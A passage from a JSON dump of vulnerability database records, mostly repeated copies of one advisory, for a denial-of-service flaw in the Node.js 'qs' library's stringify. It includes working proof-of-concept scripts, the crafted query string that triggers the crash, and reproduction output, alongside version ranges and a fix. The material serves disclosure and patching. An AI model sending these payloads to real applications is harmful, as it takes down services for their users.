qs.stringify(JSON.parse('{\"a\":{\"constructor\":{\"isBuffer\":\"x\"}}}'));\n} catch (e) {\n    console.log('[A] DoS reproduced -\u003e', e.constructor.name + ':', e.message);\n}\n```\n\n`poc02b_isBuffer_async_crash.js` — worker death in an async sink:\n\n```js\n'use strict';\nvar qs = require('qs');\n\nfunction handleRequestAsync(clientJsonBody) {\n    try {\n        setImmediate(function () {                 // async continuation, outside the try\n            qs.stringify(JSON.parse(clientJsonBody)); // throws here, uncaught\n        });\n        console.log('[handler] returned 200 synchronously; async work scheduled');\n    } catch (e) {\n        console.log('[handler] caught synchronously (will NOT happen):', e.message);\n    }\n}\nprocess.on('exit', function (code) {\n    console.log('[proc] process exiting with code:', code);\n});\nhandleRequestAsync('{\"filters\":{\"constructor\":{\"isBuffer\":\"x\"}}}');\n```\n\n### Execution Steps\n\n```bash\ncd poc\nnpm install qs@6.15.3\nnode poc02c_isBuffer_qs_only_roundtrip.js  # pure qs parse-\u003estringify -\u003e TypeError\nnode poc02_isBuffer.js                      # minimal defect -\u003e TypeError inside stringify\nnode poc02b_isBuffer_async_crash.js         # async sink -\u003e uncaught throw -\u003e exit code 1\n```\n\n### Reproduction Evidence\n\n`poc02c_isBuffer_qs_only_roundtrip.js` :\n\n```\n[parse] kept constructor key: {\"x\":{\"constructor\":{\"isBuffer\":\"y\"}}}\n[stringify] DoS reproduced -\u003e TypeError: obj.constructor.isBuffer is not a function\n```\n\n`poc02_isBuffer.js`:\n\n```\n[A] DoS reproduced -\u003e TypeError: obj.constructor.isBuffer is not a function\n```\n\n`poc02b_isBuffer_async_crash.js` :\n\n```\n[handler] returned 200 synchronously; async work scheduled\n[proc] process exiting with code: 1\nTypeError: obj.constructor.isBuffer is not a function\n    at Object.isBuffer (.../qs/lib/utils.js:332:78)\n    at stringify (.../qs/lib/stringify.js:127:45)\n=== EXIT CODE: 1 ===\n```\n\nThe pure-`qs` round-trip shows the malicious shape originates from `qs.parse` of an untrusted query string, with no `JSON.parse`. The synchronous `try/catch` in the async case does not catch the throw; the process exits with code 1, denying service to all requests on that worker.\n\n### Impact\n\nAn unauthenticated request degrades any endpoint that re-serializes deserialized client data with `qs.stringify`. The primary impact is a per-request failure: the handler throws and the framework returns HTTP 500. Where the call sits in an unguarded async continuation, the throw escapes and the worker process exits, denying service to all requests it was handling, which means a higher impact that depends on the application's error handling, not on `qs`.\n\n### Recommended Fix\n\nReplace the duck-type with a brand check mirroring `utils.isRegExp`:\n\n```js\nvar isBuffer = function isBuffer(obj) {\n    if (!obj || typeof obj !== 'object') { return false; }\n    if (typeof Buffer !== 'undefined' \u0026\u0026 typeof Buffer.isBuffer === 'function') {\n        return Buffer.isBuffer(obj);\n    }\n    return Object.prototype.toString.call(obj) === '[object Uint8Array]';\n};\n```\n\nIf duck-typing must remain, require `typeof obj.constructor.isBuffer === 'function'` before invoking and wrap the call in `try/catch`.","status":"published","published":"2026-09-02T14:45:13Z","modified":"2026-09-02T14:45:15Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium"},{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"cwes":["CWE-248","CWE-703"],"updated_at":"2026-11-02T14:41:10.121131Z"}],"nvd":[{"id":"CVE-2026-82417","description":"### Summary\n\n\n\n`qs.stringify` throws a `TypeError` when it serializes an object whose own `constructor` property has a truthy, non-callable `isBuffer` member. `utils.isBuffer` duck-types buffers by calling `obj.constructor.isBuffer(obj)` after checking only that the property is truthy, so a value such as `{ constructor: { isBuffer: \"x\" } }` makes the call throw `TypeError: obj.constructor.isBuffer is not a function`.\n\n\n\n### Details\n\n\n\n`lib/stringify.js:127` calls `utils.isBuffer` on every non-primitive value it serializes. `utils.isBuffer` (`lib/utils.js:332`) reads `obj.constructor.isBuffer` and invokes it without verifying that it is a function. `constructor` and `isBuffer` are ordinary property names, so any object carrying them as own properties reaches the unchecked call.\n\n\n\nSuch an object can be built from untrusted input. `qs.parse(\"x[constructor][isBuffer]=y\", { plainObjects: true })` or `{ allowPrototypes: true }` keeps the `constructor` key as an own property (the default parse options drop it), and `JSON.parse(\"{\\\"a\\\":{\\\"constructor\\\":{\\\"isBuffer\\\":\\\"x\\\"}}}\")` produces the same shape with no qs option involved. Express 4 with its default `query parser` setting and body-parser with `extended: true` both call `qs.parse` with `allowPrototypes: true`, so on those stacks `req.query` and `req.body` can carry the shape directly.\n\n\n\n#### PoC\n\n\n\n```js\n\n\n\nvar qs = require(\"qs\");\n\n\n\nqs.stringify(qs.parse(\"x[constructor][isBuffer]=y\", { plainObjects: true }));\n\n\n\nqs.stringify(JSON.parse(\"{\\\"a\\\":{\\\"constructor\\\":{\\\"isBuffer\\\":\\\"x\\\"}}}\"));\n\n\n\n// TypeError: obj.constructor.isBuffer is not a function\n\n\n\n//     at Object.isBuffer (lib/utils.js:332:78)\n\n\n\n//     at stringify (lib/stringify.js:127:45)\n\n\n\n```\n\n\n\n#### Fix\n\n\n\n`lib/utils.js`, applied in e83d321 on `main` and released as v6.16.0:\n\n\n\n```diff\n\n\n\n- return !!(obj.constructor \u0026\u0026 obj.constructor.isBuffer \u0026\u0026 obj.constructor.isBuffer(obj));\n\n\n\n+ return !!(obj.constructor \u0026\u0026 typeof obj.constructor.isBuffer === \"function\" \u0026\u0026 obj.constructor.isBuffer(obj));\n\n\n\n```\n\n\n\nReal `Buffer`, `safer-buffer`, and browserify `buffer` polyfill instances serialize exactly as before; only the throw is removed.\n\n\n\n### Affected versions\n\n\n\n`\u003e=2.2.5 \u003c6.16.0`, fixed in v6.16.0.\n\n\n\nThe unguarded duck-type was introduced in 3768a75 and first shipped in v2.2.5 (September 2014). v2.2.4 and earlier used `Buffer.isBuffer` and are not affected. Every release from v2.2.5 through v6.15.3 contains the unguarded call.\n\n\n\n### Impact\n\n\n\nAn unauthenticated request can make any code path that re-serializes attacker-influenced data with `qs.stringify` (for example, rebuilding a query string from `req.query` for a redirect or an upstream request, or serializing a parsed JSON body) throw synchronously. In a typical Node.js HTTP framework the throw is caught by the framework error boundary and the affected request returns a 500; the process survives and other requests are unaffected. Where the call runs outside an error boundary, such as an `async` Express 4 handler (where the throw becomes an unhandled promise rejection) or a background job, the process exits, so the impact in that case depends on the application error handling rather than on qs.","status":"published","published":"2026-08-30T00:16:34.657Z","modified":"2026-09-03T18:00:36.97Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium","assessor":"secondary"},{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium","assessor":"secondary"}],"cwes":["CWE-248","CWE-703"],"updated_at":"2026-11-02T14:12:42.691315Z"}],"osv":[{"id":"CVE-2026-82417","title":"qs.stringify throws TypeError on objects with a non-callable constructor.isBuffer property","description":"### Summary\n\n\n\n`qs.stringify` throws a `TypeError` when it serializes an object whose own `constructor` property has a truthy, non-callable `isBuffer` member. `utils.isBuffer` duck-types buffers by calling `obj.constructor.isBuffer(obj)` after checking only that the property is truthy, so a value such as `{ constructor: { isBuffer: \"x\" } }` makes the call throw `TypeError: obj.constructor.isBuffer is not a function`.\n\n\n\n### Details\n\n\n\n`lib/stringify.js:127` calls `utils.isBuffer` on every non-primitive value it serializes. `utils.isBuffer` (`lib/utils.js:332`) reads `obj.constructor.isBuffer` and invokes it without verifying that it is a function. `constructor` and `isBuffer` are ordinary property names, so any object carrying them as own properties reaches the unchecked call.\n\n\n\nSuch an object can be built from untrusted input. `qs.parse(\"x[constructor][isBuffer]=y\", { plainObjects: true })` or `{ allowPrototypes: true }` keeps the `constructor` key as an own property (the default parse options drop it), and `JSON.parse(\"{\\\"a\\\":{\\\"constructor\\\":{\\\"isBuffer\\\":\\\"x\\\"}}}\")` produces the same shape with no qs option involved. Express 4 with its default `query parser` setting and body-parser with `extended: true` both call `qs.parse` with `allowPrototypes: true`, so on those stacks `req.query` and `req.body` can carry the shape directly.\n\n\n\n#### PoC\n\n\n\n```js\n\n\n\nvar qs = require(\"qs\");\n\n\n\nqs.stringify(qs.parse(\"x[constructor][isBuffer]=y\", { plainObjects: true }));\n\n\n\nqs.stringify(JSON.parse(\"{\\\"a\\\":{\\\"constructor\\\":{\\\"isBuffer\\\":\\\"x\\\"}}}\"));\n\n\n\n// TypeError: obj.constructor.isBuffer is not a function\n\n\n\n//     at Object.isBuffer (lib/utils.js:332:78)\n\n\n\n//     at stringify (lib/stringify.js:127:45)\n\n\n\n```\n\n\n\n#### Fix\n\n\n\n`lib/utils.js`, applied in e83d321 on `main` and released as v6.16.0:\n\n\n\n```diff\n\n\n\n- return !!(obj.constructor \u0026\u0026 obj.constructor.isBuffer \u0026\u0026 obj.constructor.isBuffer(obj));\n\n\n\n+ return !!(obj.constructor \u0026\u0026 typeof obj.constructor.isBuffer === \"function\" \u0026\u0026 obj.constructor.isBuffer(obj));\n\n\n\n```\n\n\n\nReal `Buffer`, `safer-buffer`, and browserify `buffer` polyfill instances serialize exactly as before; only the throw is removed.\n\n\n\n### Affected versions\n\n\n\n`\u003e=2.2.5 \u003c6.16.0`, fixed in v6.16.0.\n\n\n\nThe unguarded duck-type was introduced in 3768a75 and first shipped in v2.2.5 (September 2014). v2.2.4 and earlier used `Buffer.isBuffer` and are not affected. Every release from v2.2.5 through v6.15.3 contains the unguarded call.\n\n\n\n### Impact\n\n\n\nAn unauthenticated request can make any code path that re-serializes attacker-influenced data with `qs.stringify` (for example, rebuilding a query string from `req.query` for a redirect or an upstream request, or serializing a parsed JSON body) throw synchronously. In a typical Node.js HTTP framework the throw is caught by the framework error boundary and the affected request returns a 500; the process survives and other requests are unaffected. Where the call runs outside an error boundary, such as an `async` Express 4 handler (where the throw becomes an unhandled promise rejection) or a background job, the process exits, so the impact in that case depends on the application error handling rather than on qs.","status":"published","published":"2026-08-29T23:51:27.634Z","modified":"2026-10-28T02:59:55.653343616Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-248","CWE-703"],"updated_at":"2026-11-02T15:45:18.131258Z"},{"id":"DEBIAN-CVE-2026-82417","description":"### Summary    `qs.stringify` throws a `TypeError` when it serializes an object whose own `constructor` property has a truthy, non-callable `isBuffer` member. `utils.isBuffer` duck-types buffers by calling `obj.constructor.isBuffer(obj)` after checking only that the property is truthy, so a value such as `{ constructor: { isBuffer: \"x\" } }` makes the call throw `TypeError: obj.constructor.isBuffer is not a function`.    ### Details    `lib/stringify.js:127` calls `utils.isBuffer` on every non-primitive value it serializes. `utils.isBuffer` (`lib/utils.js:332`) reads `obj.constructor.isBuffer` and invokes it without verifying that it is a function. `constructor` and `isBuffer` are ordinary property names, so any object carrying them as own properties reaches the unchecked call.    Such an object can be built from untrusted input. `qs.parse(\"x[constructor][isBuffer]=y\", { plainObjects: true })` or `{ allowPrototypes: true }` keeps the `constructor` key as an own property (the default parse options drop it), and `JSON.parse(\"{\\\"a\\\":{\\\"constructor\\\":{\\\"isBuffer\\\":\\\"x\\\"}}}\")` produces the same shape with no qs option involved. Express 4 with its default `query parser` setting and body-parser with `extended: true` both call `qs.parse` with `allowPrototypes: true`, so on those stacks `req.query` and `req.body` can carry the shape directly.    #### PoC    ```js    var qs = require(\"qs\");    qs.stringify(qs.parse(\"x[constructor][isBuffer]=y\", { plainObjects: true }));    qs.stringify(JSON.parse(\"{\\\"a\\\":{\\\"constructor\\\":{\\\"isBuffer\\\":\\\"x\\\"}}}\"));    // TypeError: obj.constructor.isBuffer is not a function    //     at Object.isBuffer (lib/utils.js:332:78)    //     at stringify (lib/stringify.js:127:45)    ```    #### Fix    `lib/utils.js`, applied in e83d321 on `main` and released as v6.16.0:    ```diff    - return !!(obj.constructor \u0026\u0026 obj.constructor.isBuffer \u0026\u0026 obj.constructor.isBuffer(obj));    + return !!(obj.constructor \u0026\u0026 typeof obj.constructor.isBuffer === \"function\" \u0026\u0026 obj.constructor.isBuffer(obj));    ```    Real `Buffer`, `safer-buffer`, and browserify `buffer` polyfill instances serialize exactly as before; only the throw is removed.    ### Affected versions    `\u003e=2.2.5 \u003c6.16.0`, fixed in v6.16.0.    The unguarded duck-type was introduced in 3768a75 and first shipped in v2.2.5 (September 2014). v2.2.4 and earlier used `Buffer.isBuffer` and are not affected. Every release from v2.2.5 through v6.15.3 contains the unguarded call.    ### Impact    An unauthenticated request can make any code path that re-serializes attacker-influenced data with `qs.stringify` (for example, rebuilding a query string from `req.query` for a redirect or an upstream request, or serializing a parsed JSON body) throw synchronously. In a typical Node.js HTTP framework the throw is caught by the framework error boundary and the affected request returns a 500; the process survives and other requests are unaffected. Where the call runs outside an error boundary, such as an `async` Express 4 handler (where the throw becomes an unhandled promise rejection) or a background job, the process exits, so the impact in that case depends on the application error handling rather than on qs.","status":"published","published":"2026-08-30T00:16:34.657Z","modified":"2026-10-01T03:03:51.140664253Z","cvss":[{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"medium"}],"updated_at":"2026-11-02T15:46:04.577397Z"},{"id":"GHSA-4mjr-xmp4-gh2g","title":"qs: Denial of Service via Attacker Controlled isBuffer","description":"### Summary\n\n`qs.stringify()` calls `utils.isBuffer()` on every value it serializes, and `utils.isBuffer()` invokes `obj.constructor.isBuffer(obj)` without checking that it is callable. A value whose own `constructor.isBuffer` is a non-function makes `qs` call a non-callable and throw `TypeError`. Such a value is produced **by `qs.parse` itself** from an untrusted query string when `plainObjects: true` or `allowPrototypes: true` is set, so a pure-`qs` `parse` → `stringify` round-trip — no `JSON.parse` — turns an unauthenticated query string into an uncaught throw.\n\nAn attacker-controlled `parse` input reaches the host application's availability asset — via `qs`'s own recommended `plainObjects` mitigation — and triggers an uncaught exception during a `parse` → `stringify` round-trip.\n\n### Details\n`utils.isBuffer` runs at `lib/stringify.js:127` for every serialized value:\n\n```js\nif (isNonNullishPrimitive(obj) || utils.isBuffer(obj)) { ... }\n```\n\n`utils.isBuffer` (`lib/utils.js:327-333`) invokes `obj.constructor.isBuffer` without verifying it is callable:\n\n```js\nvar isBuffer = function isBuffer(obj) {\n    if (!obj || typeof obj !== 'object') { return false; }\n    return !!(obj.constructor \u0026\u0026 obj.constructor.isBuffer \u0026\u0026 obj.constructor.isBuffer(obj));\n};\n```\n\n`constructor` and `isBuffer` are ordinary keys. `qs.parse` with `plainObjects: true` or `allowPrototypes: true` keeps them as own properties, so the parsed value carries a non-function `constructor.isBuffer`; `stringify` then calls a non-callable and throws `TypeError`. By contrast `utils.isRegExp` uses a brand check (`Object.prototype.toString`); the missing guard here is an internal inconsistency, not a platform limitation.\n\n\n### Trust Boundary Note\n\n`qs.stringify` alone treats its input as caller-constructed, so serializing a hostile object could be argued outside its contract. This report does not depend on that framing: the malicious shape is produced by **`qs.parse`, whose input is untrusted by design**. `qs.parse` normally strips a `constructor` key via its prototype guard, but with the documented options `plainObjects: true` or `allowPrototypes: true` the key survives and lands as an own property. Feeding the parsed object back into `qs.stringify` — the standard round-trip in gateways and request-forwarders — then hits the unchecked call. \n\n\n### PoC\n`poc02c_isBuffer_qs_only_roundtrip.js` — pure-`qs` chain, no `JSON.parse`; an untrusted query string alone reaches the throw:\n\n```js\n'use strict';\nvar qs = require('qs');\n\nvar untrustedQueryString = 'x%5Bconstructor%5D%5BisBuffer%5D=y'; // x[constructor][isBuffer]=y\n\nvar parsed = qs.parse(untrustedQueryString, { plainObjects: true });\nconsole.log('[parse] kept constructor key:', JSON.stringify(parsed));\n\ntry {\n    qs.stringify(parsed);\n    console.log('[stringify] no throw (unexpected)');\n} catch (e) {\n    console.log('[stringify] DoS reproduced -\u003e', e.constructor.name + ':', e.message);\n}\n```\n\n`poc02_isBuffer.js` — the minimal defect:\n\n```js\n'use strict';\nvar qs = require('qs');\ntry {\n    qs.stringify(JSON.parse('{\"a\":{\"constructor\":{\"isBuffer\":\"x\"}}}'));\n} catch (e) {\n    console.log('[A] DoS reproduced -\u003e', e.constructor.name + ':', e.message);\n}\n```\n\n`poc02b_isBuffer_async_crash.js` — worker death in an async sink:\n\n```js\n'use strict';\nvar qs = require('qs');\n\nfunction handleRequestAsync(clientJsonBody) {\n    try {\n        setImmediate(function () {                 // async continuation, outside the try\n            qs.stringify(JSON.parse(clientJsonBody)); // throws here, uncaught\n        });\n        console.log('[handler] returned 200 synchronously; async work scheduled');\n    } catch (e) {\n        console.log('[handler] caught synchronously (will NOT happen):', e.message);\n    }\n}\nprocess.on('exit', function (code) {\n    console.log('[proc] process exiting with code:', code);\n});\nhandleRequestAsync('{\"filters\":{\"constructor\":{\"isBuffer\":\"x\"}}}');\n```\n\n### Execution Steps\n\n```bash\ncd poc\nnpm install qs@6.15.3\nnode poc02c_isBuffer_qs_only_roundtrip.js  # pure qs parse-\u003estringify -\u003e TypeError\nnode poc02_isBuffer.js                      # minimal defect -\u003e TypeError inside stringify\nnode poc02b_isBuffer_async_crash.js         # async sink -\u003e uncaught throw -\u003e exit code 1\n```\n\n### Reproduction Evidence\n\n`poc02c_isBuffer_qs_only_roundtrip.js` :\n\n```\n[parse] kept constructor key: {\"x\":{\"constructor\":{\"isBuffer\":\"y\"}}}\n[stringify] DoS reproduced -\u003e TypeError: obj.constructor.isBuffer is not a function\n```\n\n`poc02_isBuffer.js`:\n\n```\n[A] DoS reproduced -\u003e TypeError: obj.constructor.isBuffer is not a function\n```\n\n`poc02b_isBuffer_async_crash.js` :\n\n```\n[handler] returned 200 synchronously; async work scheduled\n[proc] process exiting with code: 1\nTypeError: obj.constructor.isBuffer is not a function\n    at Object.isBuffer (.../qs/lib/utils.js:332:78)\n    at stringify (.../qs/lib/stringify.js:127:45)\n=== EXIT CODE: 1 ===\n```\n\nThe pure-`qs` round-trip shows the malicious shape originates from `qs.parse` of an untrusted query string, with no `JSON.parse`. The synchronous `try/catch` in the async case does not catch the throw; the process exits with code 1, denying service to all requests on that worker.\n\n### Impact\n\nAn unauthenticated request degrades any endpoint that re-serializes deserialized client data with `qs.stringify`. The primary impact is a per-request failure: the handler throws and the framework returns HTTP 500. Where the call sits in an unguarded async continuation, the throw escapes and the worker process exits, denying service to all requests it was handling, which means a higher impact that depends on the application's error handling, not on `qs`.\n\n### Recommended Fix\n\nReplace the duck-type with a brand check mirroring `utils.isRegExp`:\n\n```js\nvar isBuffer = function isBuffer(obj) {\n    if (!obj || typeof obj !== 'object') { return false; }\n    if (typeof Buffer !== 'undefined' \u0026\u0026 typeof Buffer.isBuffer === 'function') {\n        return Buffer.isBuffer(obj);\n    }\n    return Object.prototype.toString.call(obj) === '[object Uint8Array]';\n};\n```\n\nIf duck-typing must remain, require `typeof obj.constructor.isBuffer === 'function'` before invoking and wrap the call in `try/catch`.","status":"published","published":"2026-09-02T14:45:13Z","modified":"2026-09-10T03:51:14.991984096Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"},{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-248","CWE-703"],"updated_at":"2026-11-02T15:46:37.148947Z"},{"id":"RHSA-2026:62544","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","status":"published","published":"2026-09-05T10:17:19Z","modified":"2026-10-20T10:12:38Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:21.91255Z"},{"id":"RHSA-2026:63164","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","status":"published","published":"2026-09-04T10:13:59Z","modified":"2026-10-20T10:43:34.005601766Z","cvss":[{"version":"3.1","score":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:21.91255Z"},{"id":"UBUNTU-CVE-2026-82417","description":"### Summary `qs.stringify` throws a `TypeError` when it serializes an object whose own `constructor` property has a truthy, non-callable `isBuffer` member. `utils.isBuffer` duck-types buffers by calling `obj.constructor.isBuffer(obj)` after checking only that the property is truthy, so a value such as `{ constructor: { isBuffer: \"x\" } }` makes the call throw `TypeError: obj.constructor.isBuffer is not a function`. ### Details `lib/stringify.js:127` calls `utils.isBuffer` on every non-primitive value it serializes. `utils.isBuffer` (`lib/utils.js:332`) reads `obj.constructor.isBuffer` and invokes it without verifying that it is a function. `constructor` and `isBuffer` are ordinary property names, so any object carrying them as own properties reaches the unchecked call. Such an object can be built from untrusted input. `qs.parse(\"x[constructor][isBuffer]=y\", { plainObjects: true })` or `{ allowPrototypes: true }` keeps the `constructor` key as an own property (the default parse options drop it), and `JSON.parse(\"{\\\"a\\\":{\\\"constructor\\\":{\\\"isBuffer\\\":\\\"x\\\"}}}\")` produces the same shape with no qs option involved. Express 4 with its default `query parser` setting and body-parser with `extended: true` both call `qs.parse` with `allowPrototypes: true`, so on those stacks `req.query` and `req.body` can carry the shape directly. #### PoC ```js var qs = require(\"qs\"); qs.stringify(qs.parse(\"x[constructor][isBuffer]=y\", { plainObjects: true })); qs.stringify(JSON.parse(\"{\\\"a\\\":{\\\"constructor\\\":{\\\"isBuffer\\\":\\\"x\\\"}}}\")); // TypeError: obj.constructor.isBuffer is not a function //     at Object.isBuffer (lib/utils.js:332:78) //     at stringify (lib/stringify.js:127:45) ``` #### Fix `lib/utils.js`, applied in e83d321 on `main` and released as v6.16.0: ```diff - return !!(obj.constructor \u0026\u0026 obj.constructor.isBuffer \u0026\u0026 obj.constructor.isBuffer(obj)); + return !!(obj.constructor \u0026\u0026 typeof obj.constructor.isBuffer === \"function\" \u0026\u0026 obj.constructor.isBuffer(obj)); ``` Real `Buffer`, `safer-buffer`, and browserify `buffer` polyfill instances serialize exactly as before; only the throw is removed. ### Affected versions `\u003e=2.2.5 \u003c6.16.0`, fixed in v6.16.0. The unguarded duck-type was introduced in 3768a75 and first shipped in v2.2.5 (September 2014). v2.2.4 and earlier used `Buffer.isBuffer` and are not affected. Every release from v2.2.5 through v6.15.3 contains the unguarded call. ### Impact An unauthenticated request can make any code path that re-serializes attacker-influenced data with `qs.stringify` (for example, rebuilding a query string from `req.query` for a redirect or an upstream request, or serializing a parsed JSON body) throw synchronously. In a typical Node.js HTTP framework the throw is caught by the framework error boundary and the affected request returns a 500; the process survives and other requests are unaffected. Where the call runs outside an error boundary, such as an `async` Express 4 handler (where the throw becomes an unhandled promise rejection) or a background job, the process exits, so the impact in that case depends on the application error handling rather than on qs.","status":"published","published":"2026-08-30T00:16:00Z","modified":"2026-10-17T13:01:11.350257529Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"},{"version":"4.0","score":6.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium"}],"updated_at":"2026-11-02T16:57:22.213888Z"},{"id":"AZL-98331","title":"CVE-2026-82417 affecting package js-jquery 3.5.0-4","description":"### Summary\n\n\n\n`qs.stringify` throws a `TypeError` when it serializes an object whose own `constructor` property has a truthy, non-callable `isBuffer` member. `utils.isBuffer` duck-types buffers by calling `obj.constructor.isBuffer(obj)` after checking only that the property is truthy, so a value such as `{ constructor: { isBuffer: \"x\" } }` makes the call throw `TypeError: obj.constructor.isBuffer is not a function`.\n\n\n\n### Details\n\n\n\n`lib/stringify.js:127` calls `utils.isBuffer` on every non-primitive value it serializes. `utils.isBuffer` (`lib/utils.js:332`) reads `obj.constructor.isBuffer` and invokes it without verifying that it is a function. `constructor` and `isBuffer` are ordinary property names, so any object carrying them as own properties reaches the unchecked call.\n\n\n\nSuch an object can be built from untrusted input. `qs.parse(\"x[constructor][isBuffer]=y\", { plainObjects: true })` or `{ allowPrototypes: true }` keeps the `constructor` key as an own property (the default parse options drop it), and `JSON.parse(\"{\\\"a\\\":{\\\"constructor\\\":{\\\"isBuffer\\\":\\\"x\\\"}}}\")` produces the same shape with no qs option involved. Express 4 with its default `query parser` setting and body-parser with `extended: true` both call `qs.parse` with `allowPrototypes: true`, so on those stacks `req.query` and `req.body` can carry the shape directly.\n\n\n\n#### PoC\n\n\n\n```js\n\n\n\nvar qs = require(\"qs\");\n\n\n\nqs.stringify(qs.parse(\"x[constructor][isBuffer]=y\", { plainObjects: true }));\n\n\n\nqs.stringify(JSON.parse(\"{\\\"a\\\":{\\\"constructor\\\":{\\\"isBuffer\\\":\\\"x\\\"}}}\"));\n\n\n\n// TypeError: obj.constructor.isBuffer is not a function\n\n\n\n//     at Object.isBuffer (lib/utils.js:332:78)\n\n\n\n//     at stringify (lib/stringify.js:127:45)\n\n\n\n```\n\n\n\n#### Fix\n\n\n\n`lib/utils.js`, applied in e83d321 on `main` and released as v6.16.0:\n\n\n\n```diff\n\n\n\n- return !!(obj.constructor \u0026\u0026 obj.constructor.isBuffer \u0026\u0026 obj.constructor.isBuffer(obj));\n\n\n\n+ return !!(obj.constructor \u0026\u0026 typeof obj.constructor.isBuffer === \"function\" \u0026\u0026 obj.constructor.isBuffer(obj));\n\n\n\n```\n\n\n\nReal `Buffer`, `safer-buffer`, and browserify `buffer` polyfill instances serialize exactly as before; only the throw is removed.\n\n\n\n### Affected versions\n\n\n\n`\u003e=2.2.5 \u003c6.16.0`, fixed in v6.16.0.\n\n\n\nThe unguarded duck-type was introduced in 3768a75 and first shipped in v2.2.5 (September 2014). v2.2.4 and earlier used `Buffer.isBuffer` and are not affected. Every release from v2.2.5 through v6.15.3 contains the unguarded call.\n\n\n\n### Impact\n\n\n\nAn unauthenticated request can make any code path that re-serializes attacker-influenced data with `qs.stringify` (for example, rebuilding a query string from `req.query` for a redirect or an upstream request, or serializing a parsed JSON body) throw synchronously. In a typical Node.js HTTP framework the throw is caught by the framework error boundary and the affected request returns a 500; the process survives and other requests are unaffected. Where the call runs outside an error boundary, such as an `async` Express 4 handler (where the throw becomes an unhandled promise rejection) or a background job, the process exits, so the impact in that case depends on the application error handling rather than on qs.","status":"published","published":"2026-08-30T00:16:34Z","modified":"2026-11-05T05:36:30Z","updated_at":"2026-11-05T16:41:26.280152Z"},{"id":"AZL-98334","title":"CVE-2026-82417 affecting package nodejs-nodemon 2.0.3-5","description":"### Summary\n\n\n\n`qs.stringify` throws a `TypeError` when it serializes an object whose own `constructor` property has a truthy, non-callable `isBuffer` member. `utils.isBuffer` duck-types buffers by calling `obj.constructor.isBuffer(obj)` after checking only that the property is truthy, so a value such as `{ constructor: { isBuffer: \"x\" } }` makes the call throw `TypeError: obj.constructor.isBuffer is not a function`.\n\n\n\n### Details\n\n\n\n`lib/stringify.js:127` calls `utils.isBuffer` on every non-primitive value it serializes. `utils.isBuffer` (`lib/utils.js:332`) reads `obj.constructor.isBuffer` and invokes it without verifying that it is a function. `constructor` and `isBuffer` are ordinary property names, so any object carrying them as own properties reaches the unchecked call.\n\n\n\nSuch an object can be built from untrusted input. `qs.parse(\"x[constructor][isBuffer]=y\", { plainObjects: true })` or `{ allowPrototypes: true }` keeps the `constructor` key as an own property (the default parse options drop it), and `JSON.parse(\"{\\\"a\\\":{\\\"constructor\\\":{\\\"isBuffer\\\":\\\"x\\\"}}}\")` produces the same shape with no qs option involved. Express 4 with its default `query parser` setting and body-parser with `extended: true` both call `qs.parse` with `allowPrototypes: true`, so on those stacks `req.query` and `req.body` can carry the shape directly.\n\n\n\n#### PoC\n\n\n\n```js\n\n\n\nvar qs = require(\"qs\");\n\n\n\nqs.stringify(qs.parse(\"x[constructor][isBuffer]=y\", { plainObjects: true }));\n\n\n\nqs.stringify(JSON.parse(\"{\\\"a\\\":{\\\"constructor\\\":{\\\"isBuffer\\\":\\\"x\\\"}}}\"));\n\n\n\n// TypeError: obj.constructor.isBuffer is not a function\n\n\n\n//     at Object.isBuffer (lib/utils.js:332:78)\n\n\n\n//     at stringify (lib/stringify.js:127:45)\n\n\n\n```\n\n\n\n#### Fix\n\n\n\n`lib/utils.js`, applied in e83d321 on `main` and released as v6.16.0:\n\n\n\n```diff\n\n\n\n- return !!(obj.constructor \u0026\u0026 obj.constructor.isBuffer \u0026\u0026 obj.constructor.isBuffer(obj));\n\n\n\n+ return !!(obj.constructor \u0026\u0026 typeof obj.constructor.isBuffer === \"function\" \u0026\u0026 obj.constructor.isBuffer(obj));\n\n\n\n```\n\n\n\nReal `Buffer`, `safer-buffer`, and browserify `buffer` polyfill instances serialize exactly as before; only the throw is removed.\n\n\n\n### Affected versions\n\n\n\n`\u003e=2.2.5 \u003c6.16.0`, fixed in v6.16.0.\n\n\n\nThe 